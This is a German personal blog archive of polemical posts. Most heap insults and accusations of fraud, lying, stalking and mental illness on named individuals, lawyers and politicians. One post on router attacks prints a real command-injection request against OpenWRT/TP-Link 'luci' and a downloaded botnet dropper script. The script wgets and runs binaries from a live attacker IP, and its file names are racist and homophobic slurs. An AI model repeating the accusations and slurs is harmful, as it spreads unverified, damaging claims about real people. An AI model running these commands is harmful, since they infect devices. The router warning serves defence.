Am 10. Oktober, ab 08:45 gibt es im Landgericht Frankfurt am Main, Gebäude B, Raum 337 etwas zu bestaunen: Ein Dr. Andreas Skrziepietz wollte seine Intelligenz und meine Dummheit beweisen.

Dann sehen wir mal wie dieser teure Intelligenztest wohl ausgeht.

Nutzlosbranche: Die „Schwindel-App“ vom Oberschwindler - oder „Zum Doc geschickt zu werden kostet mit App NUR €19,99“

Man kann sich kaum vorstellen, wie ich mich vor Lachen auf dem Boden gewälzt habe, als ich das hier sah:

 

(Bildschirmfoto)

 

„Schwindel-App“? Von dem Daniel Fratzscher? Was kann das sein?

Erst dachte ich, es sei eine „App, die beim Schwindeln“ hilft, denn der mir durchaus als Schwindler bekannte Daniel Fratzscher vertreibt eine „Schwindel-App“.  Ja. Das ist derselbe Daniel Fratzscher, der vor Gerichten wahlweise aussagte, dass die Vertriebsbeauftragten direkt bei der Euroweb Internet GmbH angestellt seien, in einem zeitlich überkreuz laufenden Verfahren, dass diese gerade nicht bei der Euroweb Internet GmbH angestellt seien. Da man als Schwindler mit der prozessualen Situation überfordert und also dem, was man „in der Aussage ein klein wenig optimiere“ schon mal durcheinander kommen kann ist eine Schwindel-App sicher hilfreich. Die Werbung könnte lauten:

„Die WWWE-Schwindel-App: Ein kurzer Blick aufs Smartphone - und schon ist man vor Gericht aussage schwindelbereit!“

Wenn es diese Schwindelapp doch schon früher gegeben hätte! Sicher hätte man während der Corona-Krise auch manche Infektion zwischen Anwälten und denen, die wahlweise Euroweb-Mitarbeiter oder Nicht-Euroweb-Mitarbeiter sein sollten, vermeiden können! Auch sinken die Kosten für Kaffee und Kuchen.

Das alles sei, wie es sei: Die Adresse Hansaallee 299 ist wegen der vielen Firmen des Schwindelimperiums des Daniel Fratzscher einschlägig bekannt (besser: „verrufen“) - und es tut mir richtig leid um die ehrlichen Mieter in den anderen Stockwerken und natürlich den Vermieter.

(Bildschirmfoto: Bewertung der zugehörigen United Media AG - Vorsitz des Aufsichtsrates: Daniel Fratzscher - die auch dort residiert.)
 

Ich kam also langsam zu mir und nach dem Nachlassen der Lachkrämpfe und Lachtränen sah ich das hier:

(Bildschirmfoto)

Ach nein! Die Schwindel-App soll gar nicht beim Schwindeln helfen! 

Es könnte sein, dass obige Werbung wettbewerbswidrig ist. Denn wenn die Zertifizierung gesetzlich vorgeschrieben ist darf diese Zertifizierung nicht werbend herausgestellt werden. Übrigens sagt das CE-Kennzeichen nichts - aber auch gar nichts - über den zu erwartenden Erfolg aus. Immerhin bekommt man wohl keinen elektrischen Schlag durch deren Nutzung. Womöglich aber trifft einen aber ein ganz anderer „Schlag“.

Besser ist man geht gleich zum Arzt.

Denn für Schwindel gibt es viele Ursachen ... und auch der App wird nach Abarbeiten des bisschen erforderlicher Logik nicht viel übrigbleiben als die Geplagten häufig zum Arzt zu schicken. Dies für „nur 19,99“:

(Bildschirmfoto)

Dazu wie folgt:

1. Ich würde ja die Reihenfolge umkehren und zuerst bei der Krankenkasse nachfragen.
2. Eine der Ursachen für Schwindeln ist Geld. Geld ist für Daniel Fratzscher schon immer ein starkes Motiv gewesen. Zu schwindeln wohlgemerkt.
3. Insofern könnte ein Antwort → Ratschlag-Pfad mit nur vier Fragen wie folgt aussehen:
1. Wie heissen Sie? - Daniel Fratscher
2. Haben Sie häufig Schwindelanfälle? - Ja
   
3. Was machen Sie gerade? -Eine eidesstattliche Versicherung
4. Für einen Prozess? Ja
5. Antwort:
   „Herr Daniel Fratzscher, mit 99,95% Wahrscheinlichkeit ist Ihr Schwindelanfall beendet wenn Sie die Versicherung nicht abgeben. Dennoch ist es sicherer und wird von uns empfohlen, einen Arzt aufzusuchen und weitere Möglichkeiten abzuklären. Denn eine der möglichen Ursachen für häufige Schwindelanfälle ist Hirnkrebs.
   
   Da wir gerade dabei sind:
   
   Wir haben Sie in unserer, irgendwo im Ausland sicherlich noch legalen Datenbank als Inhaber eines kleinen, potentiell erfolglosen Unternehmens gefunden in dessen Tätigkeitsfeld wir gerade nach Referenzkunden suchen: Haben Sie schon einen Webauftritt, Wollen Sie Erfolg haben?“
   
   
4. Mich würde es im Hinblick auf die Person und Historie des Daniel Fratzscher nicht weiter wundern, wenn nach Nutzung der App dann aller 24 Stunden Geld abgebucht wird bis ein „irre kompliziertes bis nicht durchführbares Kündigungsverfahren“ abgeschlossen ist. Daniel Fratzschers Unternehmungen sind geradezu „Spezialisten“ im Verkauf von nur angeblich verbilligten Leistungen bei denen die Kunden - zu tausenden - überrascht darüber sind, dass es sich um „nicht kündbare“ 4-Jahresverträge handelte - nicht wahr, Herr Daniel „Arglist“ Fratzscher?
5. Die gesetzlichen Krankenkassen werden schon wissen, warum diese für solchen „Scheiß“ nicht bezahlen.
6. Daniel Fratzscher steht nicht erst seit der Euroweb (jetzt WWWE GmbH, beide mit gleicher Adresse wie oben)  dafür, eher geringwertige Leistungen zu absurd-extrem hohen Preisen zu verkaufen - oder durch Schwindler - mit  oder ohne „App“ - verkaufen zu lassen.

Nochmalige Klarstellung: Andreas Skrziepietz (Hannover) hat hier „Hausverbot“ wegen dummdreister Beleidigungen und extremer Belästigung!

Das gilt auch für Kommentare, welche dieser Andreas Skrziepietz (Hannover) als „Docmacher“, „anonym“ oder unter falschen Name einträgt. Ebensowenig will ich das er mich per E-Mail oder auf anderen Wegen belästigt. 

Um es dem Publikum zu zeigen:

Von hunderten(!) solcher „Kommentare“ zeige ich hier nur drei aus nur einer „Dummholz-Phase“ als Beispiele für das strafbare Stalking des Andreas Skrziepietz, Hannover. Das er narzisstisch gestört ist wird aber schon durch diese drei Nachrichten deutlich:

Bild/Beweis: „Kommentar“ des Andreas Skrziepietz (Auszug), Hannover.

@Google/Blogger: Ihr findet hunderte solcher Nachrichten in den Kommentaren dieses Blogs, allerdings als Spam markiert und nicht veröffentlicht. Der Benutzer und also Stalker ist ausweislich der Blogger-Profil-ID 11320820087386765116 der Andreas Skrziepietz aus Hannover über den ich hier berichte und der sich so gerne beschwert.

Ich muss dieses Stalking nicht dulden!

Da Andreas Skrziepietz mich allen Ernstes darauf verklagt hat, dass ich es unterlasse ihn einen Hassblogger zu nennen, wird er - weil ich ihm eben dieses beweisen kann - vom LG Frankfurt die Rechnung präsentiert bekommen. Das Gericht wird es ganz sicher nicht versäumen, seine Klage auch wegen Rechtsmissbrauchs zurück zu weisen, denn nach so einer üblen Beleidigung ...

vor ein Gericht zu ziehen und dieses oder jenes unterlassen haben will, dass ich (auch) darüber schreibe:

ist genau das! 

• Skrziepietz und sein Anwalt Severin Riemenschneider hätten übrigens mal nachsehen sollen, welchen „Rechtslaie“ diese mit dreist unwahren Abmahnungen belästigen und dann auch noch verklagen.

 

Zum Hausverbot

und weil Skrziepietz und sein Anwalt behaupten, derlei gäbe es gar nicht: Nach gefestigter Rechtsprechung  darf ich das Verbot aussprechen und kann es auch gerichtlich durchsetzen.

Falls  der Dr. Andreas Skrziepietz (Hannover) und sein Anwalt Riemenschneider es nicht glauben, so sollten beide mal nach nach „virtuelles Hausverbot“ googlen. Und Riemenschneider möge nicht länger „herumheulen“, weil ich dem in 31 Mails mit den Lügen, den Verleumdungen, den Beleidigungen, der Hetze - aber vor allem den dreisten und extrem häufigen Belästigungen des Dr. Andreas Skrziepietz konfrontiert habe - Immerhin hatte der in seiner Abmahnung objektiv unwahr behauptet, das Dr. Andreas Skrziepietz das alles nicht betreibe.

Falls Dr. Severin Riemenschneider („Media Kanzlei Frankfurt | Hamburg“) danach Gerichten gegenüber weiter behauptet hat, dass ich Skrziepietz zu Unrecht beschuldige wird sein Name in der Strafanzeige als mit Beschuldigter in einem Fall des Prozessbetruges mit auftauchen: Die Zivilprozessordnung verpflichtet zu wahrem und vollständigen Vortrag. im Zivilprozess dürfen Anwälte nicht lügen!

Der sich als „gar armes Opfer“ darstellende Andreas Skrziepietz (a.k.a. „Docmacher“, Hannover):Was meint der üble Hetzer wohl mit „Meinungsfreiheit“?"

Sich bei blogspot.com weinerlich zu beschweren, wenn man sein eigenes Verhalten mit wahren Worten aufgezeigt bekommt, ist das eine und funktioniert, weil Blogspot.com nach solchen Beschwerden nicht wirklich überprüft und oder gar nebst den zu Grunde liegende Tatsachen (hier die Hetze des Andreas Skrziepietz selbst) juristisch umfassend wertet (was Blogspot.com auch nicht kann oder soll), manchmal eine gewisse Zeit lang...

Andreas Skrziepietz (a.k.a. „Docmacher“, Hannover) - der selbst bei Blogspot.com auf üble und abstoßende Weise hetzt(e), verleumdet(e) und beleidigt(e) muss mich schon selbst verklagen, wenn er den Artikel loswerden will. Und damit wird er keinen Erfolg haben.

Aber schauen wir mal auf das Ergebnis meines Hinweises auf eindeutig strafbare Inhalte und die vom Hetzblog des Andreas Skrziepietz (docmachersblog.blogspot.com) ausgehende Bedrohung:

 

Ich werde den niedersächsischen „Staatsschutz“ allerdings über den Fakt informieren, dass die Schließung keinesfalls auf ein Einlenken des Andreas Skrziepietz nach der von ihm selbst veröffentlichten „Gefährderansprache“ zurückzuführen ist. Sonst stände da nämlich „Der Blog wurde vom Autor gelöscht“.

Mein Rat an den Herrn Dr. Andreas Skrziepietz:  Er nehme sich eine Aus- und Bedenkzeit - am Besten in einer wohnortnahmen sozialtherapeutischen Einrichtung. Die in Duderstadt oder Roßdorf erfreuen sich nur erzwungenermaßen eines großen Zuspruchs.

Nachricht an den Herrn: Er möge aufhören zu stalken - sonst gibt es „das ganze Paket“!

Sylt: Besorgte Bürger Eltern wollen bekokster Dummnazi-Brut das Taschengeld kürzenHinweis zu theoretisch möglicher Anwaltspost

Derzeit ist ja ein Video „viral“, welches zeigt, dass Blödheit noch ansteckender ist als Covid 19. Im Koks-, Alkohol- und/oder Gruppenwahn singen die gezeigten auf der Freifläche vor einem Club, der für eine hohe Dichte von Personen bekannt ist, die „von Beruf“ Sohn oder Tochter sind (denen also die Lebenserfahrung aus eigenem Lebenserwerb und somit auch jeder Antrieb für tatsächlich gutes Benehmen fehlt), zu ausländischer(!) Humbas-Dummbas-„Musik“ den Blödfascho-Text „Deutschland den Deutschen - Ausländer raus!“

Erste, nunmehr besorgte, Bürger Eltern wollen hier korrigierend eingreifen und haben angeblich die Kreditkarten der sich als „versoffene und bekokste Dummnazis“ erweisenden „Brut“ sperren lassen.

Was mir an dem Video aufgefallen ist eine weibliche, blonde Person, die freiwillig so blöd grinsend in die Kamera singt, dass mir alle Blondinenwitze aus den 80ern als „schwerst untertrieben“ erscheinen. Zur Ehrenrettung: Eine andere, ebenfalls blond, fühlt sich sichtlich unwohl und ist dem Habitus (hier: Gesichtsausdruck, Körperhaltung, Bewegungen) nach gar nicht einverstanden und völlig genervt. Das kann aber zusätzlich an dem, so wirken die Bilder auf mich, zwar ungeimpften dafür aber bekoksten Idiot liegen, der, wie das Video zeigt, ihr a) „ein Ohr abkaut“ und b) wohl „an die Wäsche will“. Ich sags mal so: „Falls der an dem Abend bekommen hat, was er wollte, dann hat er (vermutlich eine ausländische Dienstleisterin) dafür bezahlt. Aber vermutlich hat er keinen ... lassen wir das.“

Allerdings ist gemäß meiner Erfahrung mit dieser Sorte Pack nach auch zu erwarten, dass sich die volksverhetzenden Dummnazis gegen die Bilder wehren.

Ich bin zwar nur ein Schlosser - aber ich kenne mich (ausweislich meiner Berichte über ausgelachte Abmahner und gewonnene Verfahren) mit Idioten, die glauben immer Recht zu bekommen, super aus und weiß, dass solche gern „zum Anwalt rennen“, sich bei dem ausheulen und viel Geld auf den Tresen packen, damit dieser „gegen die gar unberechtigte Berichterstattung“ vorgehe.

Rechtsgrundlage einer theoretisch möglichen Abmahnung?

Rein theoretisch könnte es für die Verbreitung des Videos Anwaltspost geben - es sind ja immerhin Personen erkennbar. Also eine Abmahnung wegen angeblichen Verstoßes gegen §22 des „Gesetz betreffend das Urheberrecht an Werken der bildenden Künste und der Photographie“ (KunstUrhG), also wegen einer angeblichen Verletzung des „Rechtes am eigenen Bild“.

Die bleibt aber folgenlos.

Dem Anwalt oder der Anwältin, welcher oder welche diese Abmahnung ausspricht, bescheinige ich schon mal vorab, dass dieser oder diese entweder „euphemistisch-blond“ ist oder die eigenen Mandanten abzockt: Denn schon § 23 Absatz 1 Nr. 3 des selben Gesetzes sagt: „Ohne die nach § 22 erforderliche Einwilligung dürfen verbreitet und zur Schau gestellt werden: Bilder von Versammlungen, Aufzügen und ähnlichen Vorgängen, an denen die dargestellten Personen teilgenommen haben.“

Und die Bilder zeigen genau das: Eine im Freien - sogar in der Offentlichkeit - stattfindende Versammlung von einem Haufen Nazi-Idioten allerlei Geschlechtes und (mindestens) einer löblichen Ausnahme.

„Krah!“ Was? Solche „Vögel“ wollt ihr wählen?Die AfD ist selbst für andere nationalistisch-populistische Parteien „zu sehr Nazi“.

Sinnbild: Ich kenn mich mit „Krah!“ aus. Bildrechte: Jörg Reinholz

Das jüngste Gekrähe des AfD-„Spitzenkandidaten“ mit der Hitlerfrisur (und dem großen Durcheinander darunter) brachte das Fass nur zum Überlaufen.

Wer die AfD-Nazis also immer noch als „wählbar“ betrachtet ist so „klug“ wie der sprichwörtliche Bauer mit den rekordverdächtig großen Kartoffeln. In dem Fall sind die Kartoffeln - und die Dummheit - so groß wie kanadische Kürbisse.

Denn wenn Krah der Spitzenkandidat der AfD ist - was für blödes Zeug blahschwafeln dann erst die anderen?

Das „gar arme Opfer“ Andreas Skrziepietz (a.k.a. „Docmacher“, Hannover):Was meint der üble Hetzer und Betrüger wohl mit „Meinungsfreiheit“?

Diesen Artikel an anderer Stelle lesen.

Ein Zitat und was ich (über Scholz, Mützenich und die „AfD” - tatsächlich „NAgD“) denke

 „Europa fehlt es derzeit offenkundig am Willen oder der Fähigkeit, alles auf eine Karte zu setzen, um den russischen Imperialismus zu stoppen“.

(Aussage von Michael Roth, Vorsitzender des Auswärtigen Ausschusses des Bundestags, SPD)

Fakt ist, dass auch die immer wieder kehrenden Äußerungen des Kanzlers Scholz  - wonach dieses oder jenes „auf keinen Fall“ getan würde - nur den russischen Aggressor und Putins Claqueure begeistern.

Offenbar steht nicht nur die„ungeimpfte“  AfD (tatsächlich NAgD - „Nazi-Affen gegen Deutschland“) als von Russland und sogar China bezahlte Verräterpartei fest. Auch Scholz, Mützenich & Co. sollten sich fragen lassen, woher eigentlich die Motive derer Ansagen Absagen kommen. Und ob diese beiden als Personen ihre Positionen nicht zur Unzeit eingenommen haben. Ein Winston-Churchill-Typ täte not. eine Appeasement-Politik funktioniert nicht mit verlogen-narzistischen Kriminellen, also nicht mit Typen wie Hitler oder Putin, nordkoreanischen oder weißrussischen Kommunisten Königen Fürsten - übrigens auch nicht mit den thungo-teutonischen un- oder selbstangeblich zwangsgeimpften Covidioten - die als NAgD(e) genau solchen „Führern“ zujubeln.

Angriffe auf OpenWRT/TPLINK: Empfehlung: Erreichbarkeit der Router per http(s) abstellen

Bei einer Durchsicht meiner Logfiles habe ich zahlreiche Zugriffsversuche wie diesen bemerkt:

/var/log/apache2/home.fastix.org_access.log: 80.94.92.60 - - [15/May/2024:07:56:15 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F94.156.8.244%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh) HTTP/1.1" 404 4167 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 

Das Skript „/cgi-bin/luci/“ scheint zu OpenWRT zu gehören und  ohne Authentifizierung nicht nur eine (vorliegend  vom Angreifer vorgegebene) Datei aus dem Web zu laden, sondern auch auszuführen.

Ich habe das Skript tenda.sh mal herunter geladen (Von den gebrauchten Wörtern distanziere ich mich)):

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O lol http://94.156.8.244/mips; chmod +x lol; ./lol tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O lmao http://94.156.8.244/mpsl; chmod +x lmao; ./lmao tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O faggot http://94.156.8.244/x86_64; chmod +x faggot; ./faggot tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O gay http://94.156.8.244/arm; chmod +x gay; ./gay tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O retard http://94.156.8.244/arm5; chmod +x retard; ./retard tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O nigger http://94.156.8.244/arm6; chmod +x nigger; ./nigger tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O shit http://94.156.8.244/arm7; chmod +x shit; ./shit tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O nigga http://94.156.8.244/i586; chmod +x nigga; ./nigga tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O kekw http://94.156.8.244/i686; chmod +x kekw; ./kekw tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O what http://94.156.8.244/powerpc; chmod +x what; ./what tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O kys http://94.156.8.244/sh4; chmod +x kys; ./kys tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O shiteater http://94.156.8.244/m68k; chmod +x shiteater; ./shiteater tplink
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget -O blyat http://94.156.8.244/sparc; chmod +x blyat; ./blyat tplink 

Hm. Das es ein Angriff ist, ist klar. Die IP 94.156.8.244 gehört laut den Whois-Daten zu einer SilentConnectionLtd in Bulgarien, die IP 80.94.92.60  zu einem Serveranbieter, der sich selbst sorgfältig  zu verstecken versucht... Die Wortwahl im Skript  „tenda.sh“ verweist auf einen homosexuellen Nazi, der sich wohl etwas großes in der Hinterpforte wünscht. Dem „faggot“ nach will er danach noch daran... lassen wir das.

Betroffen sind scheinbar Nutzer von OpenWRT und/oder TPLINK-Routern. Diese sollten dafür Sorge tragen, dass die Router nicht aus dem Web erreichbar sind. Auch nicht aus dem eigenem Netz, denn solche Links sind schnell per Mail & Co. untergeschoben.

Fortinet hat das ebenfalls untersucht...

Eine Anmerkung noch: Auch wenn es bereits Updates gab: Mein Vertrauen  in die Fähigen desjenigen, der das „luci“-Skript geschrieben hat, läge auf dem Niveau des Vertrauens in „Luci-fer“.

Macintosh? iBook? Da hast Du was zum Wegwerfen...

 

Ein Macintosh oder iBook kann einfach zu wenig. Ich hab hier Debian mit XFCE4. Ich darf das auch, denn...

... auf meiner Hardware bin viel mehr /root als jeder Eigentümer irgendwelchen iZeugs.

Bevor jemand wilde Gerüchte in die Welt setzt ...

Manche machen sich Sorgen und gewisses Pack soll sogar voll „froher“ Hoffnung sein ... und das nur weil ich ein paar Tage nichts geschrieben habe.

Tatsache ist: Es geht mir gut, sogar sehr gut.

Ich habe gerade etwas anderes zu tun (Kurse halten und „hacken“). Ist ziemlich einträglich.

Das Pack hat also Pech.

BREAKING BLAMAGE: Von Prof. Dr. Ralf Höcker vertretener Dr. jur. Ulrich Vosgerau verliert vor LG Hamburg gegen Correctiv 1:2 - Rechtmissbrauch?

 

Zunächst einmal hätten wir da eine „Erfolgsmeldung“ des mir als mediengeil geltenden Prof. Dr. Ralf Höcker. Von drei erhobenen Unterlassungsbegehren ist er mit gerade mal einem durchgekommen. Es steht also 1:2 für Correctiv.

Prof. Dr. Ralf Höcker (Köln) bewirbt sich also tatsächlich mit einer Blamage!

Und das vor dem, um es offen zu sagen, mir selbst in der Vergangenheit durch nicht nachvollziehbare Tatsachenignoranz und mangelhafte Verfassungstreue aufgefallene Land- und Verbotsgericht zu Hamburg, an welchem die rechtsverachtende Tradition des Richters Buske und seiner Nachfolgerin Käfer offensichtlich hochgehalten wird. Eine auffällig hohe Zahl von offensichtlich höchst falschen, kritische Meinungsäußerungen und wahre Tatsachenberichte  verbietenden - also  „ausgesprochen hanseatischen“ - Entscheidungen der sogenannten „Pressekammer“ des LG Hamburg - die vom OLG Hamburg aufrecht erhalten wurde - wurde in der Vergangenenheit von den Höchstgerichten  (BGH, BVerfassG) stirnrunzelnd aufgehoben. Die, das Ansehen des Rechtstaates beschädigenden „Verfehlungen“ (Rechtsbeugung wäre richtiger) der Pressekammern des LG und OLG Hamburg sind der Grund, warum windige Kanzleien und Anwälte deren sonst aussichtslose Verbotsanträge für, sagen wir „schräge Gestalten“, an dieses Gericht adressieren. Und wer, wie Dr. jur. Ulrich Vosgerau (ganz rechts und wohl nur noch in der CDU) an der von vielen mit der Wannseekonferenz verglichenen Veranstaltung neorechter, überwiegend dem Höcke-Part der AfD nahestehender Gestalten (und ausgerechnet eines Österreichers mit niedrigem militärischem Rang) teilnimmt, den zähle ich zu diesen „schrägen Gestalten“.

• Sich mir gegenüber auf eine Entscheidung der Pressekammer des LG oder OLG Hamburg zu berufen bewirkt bei mir nur ein müdes Lächeln: Wie hoch ist doch bitte gleich die Quote der vor BGH und BVerfassG aufgehobenen Fehlentscheidungen dieser Kammer? Ich gehe also bei Entscheidungen der Pressekammern des LG oder OLG Hamburg davon aus, dass diese weit überwiegend wahrscheinlich falsch sind und durch einen mutwilligen Rechtsbruch zu Stande kamen.
  

Rechtsmissbrauch?

Die seit Jahrzehnten als „stark renovierungsbedürftig“ geltenden §§32, 35 ZPO erlauben bei Meinungsäußerungen und Pressesachen regelmäßig formalrechtlich einen fliegenden Gerichtsstand. Es gibt aber zahlreiche Gerichte, die sich durch solche Anträge „verarscht und missbraucht“ sehen, den „völlig frei fliegenden Gerichtsstand“ also nicht mehr anerkennen.

Rechtsmissbrauch!

Aber Correctiv sitzt - soweit ich das wahrnehmen kann - in Berlin, Essen, Bottrop. Dr. Ulrich Vosgerau ist, wie übrigens auch Höcker in Köln tätig. Insoweit wäre ein Antrag durch eine wirtschaftlich vernünftig denkene Partei in Köln (dessen Landgericht bezüglich Pressesachen in der Vergangenheit derselbe Verbotswahn wie dem LG Hamburg nachgesagt wurde) angemessen gewesen. Und da stellt sich die Frage, ob Prof. Dr. Ralf Höcker sich bei der freien Wahl gemäß §§ 32,35 ZPO im Hinblick auf die heiklen Anträge das Gericht mit der höchsten Erfolgschance ausgesucht hat. Und da drängt sich der Gedanke an einen Rechtsmissbrauch (Missbrauch des Rechts) geradezu auf. 

Man kann also vermuten, dass es vor anderen Gerichten anders ausgegangen wäre:

„Man könne mit Wahlbeschwerden vor dem Bundesverfassungsgericht Erfolg haben, soll Vosgerau auf Nachfrage eines Teilnehmers beim Potsdamer Treffen gesagt haben, sofern man diese massenhaft einreiche. „Je mehr mitmachten, stimmt er zu, umso höher die Erfolgswahrscheinlichkeit“, heißt oder besser hieß es im Correctiv-Artikel - den Correctiv nun [ich: einstweilig] ändern muss: „Mit seinem Antrag hat Vosgerau geltend gemacht, ein massenhaftes Vorgehen gerade nicht befürwortet zu haben. Der Erfolg einer Wahlprüfungsbeschwerde hänge nicht davon ab, wie oft sie eingereicht werde, sondern davon, wie gut sie begründet sei“, schreibt das Hamburger Landgericht.“

(Schreibt der Kölner Stadtanzeiger)

Ein paar Grundlagen: (Gern auch für Rechtsanwälte und Richter)

Eine Wahrheitsfindung findet im Verfahren um den Erlass einer einstweiligen Verfügung nicht wirklich statt. Das Landgericht Hamburg stützte sich also bei der Entscheidung nur auf die Behauptung des Dr. jur. Ulrich Vosgerau. Mehr ist da nicht. Und wie ich verdammt genau weiß werden Gerichte - besonders die Pressekammern, besonders aber die des LG Hamburg - verdammt oft belogen. Ob es vorliegend so war kann ich aber nicht wissen.

Die einstweilige Verfügung wird von dem Gericht in einem „summarischen Verfahren” erlassen. Der Richter orientiert sich in diesem Verfahren bei seiner Entscheidung für oder gegen den Erlass der einstweiligen Verfügung lediglich an den vom Antragsteller vorgelegten Unterlagen und an geltendem Recht.

(So beschreibt „Damm-Legal“ den Soll-Zustand)

Inzwischen kommt hier aber hinzu, dass das Gericht dem Antragsgegner rechtliches Gehör gewähren muss. Das kann aber geschehen, in dem vorgelegt wird, womit dieser auf die, vor einer Antragstellung ohnehin schon im Hinblick auf die durch § 93 ZPO gebotene, Abmahnung reagierte. (weiß - manders als mancher Anwalt - und sogar Landrichter(in) - ein auch bei der Kanzlei des Prof. Dr. Ralf Höcker wohl gefürchteter Schlosser und Rechtslaie namens Jörg Reinholz...)

Gestank:

Wenn man als Kläger sogar vor der höchst lumpen- und klägerfreundlichen Pressekammern des LG  Hamburg nur mit einem von drei Unterlassungsansprüchen durchkommt, dann ist es unter dem Aspekt der Fallbeurteilung äußerst fraglich, warum man überhaupt mit den beiden, also höchst offensichtlich nicht durchwinkbaren Anträgen vor Gericht zieht.

Der Mandant Ulrich Vosgerau hat den Grad eines „Dr. jur.“  und dessen Anwalt Höcker hat den auch. Ich stell mir die Frage, wie es sein kann, dass ein „Dr. jur.“ sich von einem anderen „Dr. jur.“ - den ich nicht für klug halte - derartig abzocken lässt. Oder war der „Dr. jur.“-Mandant so „vogelwild“ part tout und gegen anwaltlichen Rat zu handeln? Immerhin hat Dr. jur. Ulrich Vosgerau (im Hinblick auf die Teilnahme beim Potzdamer „Nazi-Meeting“ wohl nur noch in der CDU) dem Professor Dr. jur. erlaubt, mit dem tatsächlich größenteils verlorenem Verfahren Werbung für selbst zu machen. Das spricht für „vogelwild“. Das der auch sonst für unfeines Vorgehen bekannte Höcker das dann macht allerdings auch.

Ligitation PR:

Bei Prof. Dr. jur. Ralf Höcker vermute ich keine besonders tolle Rechtskenntnis und - nun erst recht - keine überbordende Intelligenz. Denn er „wirbt“ selbstvermeintlich für sich - und teilt aber letztendlich mit dass er für seinen Mandant 1:2 verloren habe. Auch die Kostenverteilung - über welche er nichts schreibt, dürfte so enden, dass der Mandant und Dr. jur. Ulrich Vosgerau 2/3 der Kosten tragen muss.

Fazit:

Die „BREAKING NEWS“ des Prof. Dr. Ralf Höcker (Köln) sind also tatsächlich eine „BREAKING BLAMAGE“ - und hinter den ganzen akademischen Titeln von Mandant und Anwalt versteckt sich einfach nur dummes Handeln: „Dumm ist, wer dummes tut!“ - sagte die Mutter der Romanfigur Forrest Gump zu selbigen. Zumindest damit hatte diese Mama recht: Denn das gilt grundsätzlich.

Gruß und Kuss?

„Tolle „Werbung“, Herr Prof. Dr. jur. Höcker! Obiges Geblubber hätte ein klügeres „Organ der Rechtspflege“ - und davon gibt es viele - sorgfältig vermieden.“

Ganz kurz: Was ist, was will eigentlich die AfD?Es sind „kleine Würstchen“ und Volksverräter im Dienst des russischen Imperialismus!

Die AfD ist ein bunt zusammengewürfelter Haufen aus extremen Wirtschaftsliberalen, glatten Nazis und vor allem selbstvermeintlich zu kurz gekommener, machtgeiler Würstchen, die versuchen sich - um wahr genommen zu werden - im Canon der Stimmen gegenseitig zu übertreffen. AfD Mitglieder und Sympathisanten blahfaseln deshalb immer irrer werdendes Zeug und schrecken nicht davor zurück, Gegner auf bis in Kriminelle reichende Weise zu beschimpfen.

• Wer sich „Elite“ nennt wäre gern „Elite“ - ist es aber nicht. Mir muss deshalb keiner erzählen, wes Geistes jemand ist, der sich z.B. den Alias „Telegramelite“ gibt: Es geht solchen um Selbstüberhöhung. Nicht wahr, Herr Martin Sellner?

Also gilt:

AfD == kleine Würstchen

Finanziert wird die AfD zu einem guten Teil durch Spenden aus dunklen Quellen - und eine davon ist definitiv Russland - das gilt auch dann, wenn das Geld über die schöne Schweiz gespendet wird.

Zusätzlich kommt der AfD auch eine weitere Förderung zu Gute: Propaganda durch russische, also von Russland bezahlte Medien. Anders ausgedrückt ist es so, dass die Bande aus Nazis, Quer-, Dumm-, und Dampfplauderern sich über die Gehirnwäsche des  „Staatsfunk“ und die „faschistischen Zeitungen“ beklagt und behauptet, das Teutonenvolk würde von diesen belogen - während diese tatsächlich durch die „Prawda“, „Sputnik“ & Co.  gehirngewaschenen Eminenzen gleichzeitig die offen-verlogenen Lieder der russischen Staatspropaganda singen.

Russland will aber die Demokratien in Europa spalten um eines neues Russisches Reich zu erschaffen und hierzu Russland durch Landnahmen und Kolonisierung zu vergrößern. Die nun russlandhörige AfD (nebst und mitsamst Nazis, Quer-, Dumm-, und Dampfplauderern) geht also hin und verbreitet die Nachricht, dass nicht etwa Russland „Kriegstreiber“ sei - Kriegstreiber seien die Parteien links der AfD-Nazis.

Damit dienen diese geistigen Würstchen in und auf Seiten der AfD aber einer fremden Macht, welche die erklärte Absicht hat, Europa und Deutschland zu schaden um es letztendlich zu beherrschen. 

Also gilt:

AfD == Volksverräter

Innerhalb des schon erwähnten, bunt zusammengewürfelter Haufen aus extremen Wirtschaftsliberalen, glatten Nazis und vor allem, nach deren eigener Ansicht zu kurz gekommener, machtgeiler Gurken glaubt übrigens jede Seite dieses Gemenges politischer Hasardeure sich der anderen nach einer Machtergreifung entledigen zu können.

Das hatten wir doch schon einmal...

Deutschland, Taurus, Bundestag - und russisches Geld: Wir brauchen einen „Change“ - aber nicht die AfD.

Eigentlich gibt es eine klare Mehrheit - und wie man so hört „wuselt es schon“:

"Ich möchte von Bundeskanzler Scholz in dieser Situation einmal wissen, was denn das ganz große Problem mit der Lieferung der Taurus-Raketen nun ist. Niemand weiß es, niemand weiß es! Wir haben dazu keine rationale Erklärung bekommen. ... Die Öffentlichkeit, die Ukraine, der Deutsche Bundestag haben einen Anspruch darauf zu erfahren, warum die Lieferung nicht erfolgt."

fragte Johann Wadephul (CDU) - Stellvertretendes Mitglied im Verteidigungsausschuss und Leiter der deutschen Delegation in der Parlamentarischen Versammlung der NATO - heute im Bundestag - auch für mich. Bei Grün und Gelb gab es dazu viel Nicken.

 

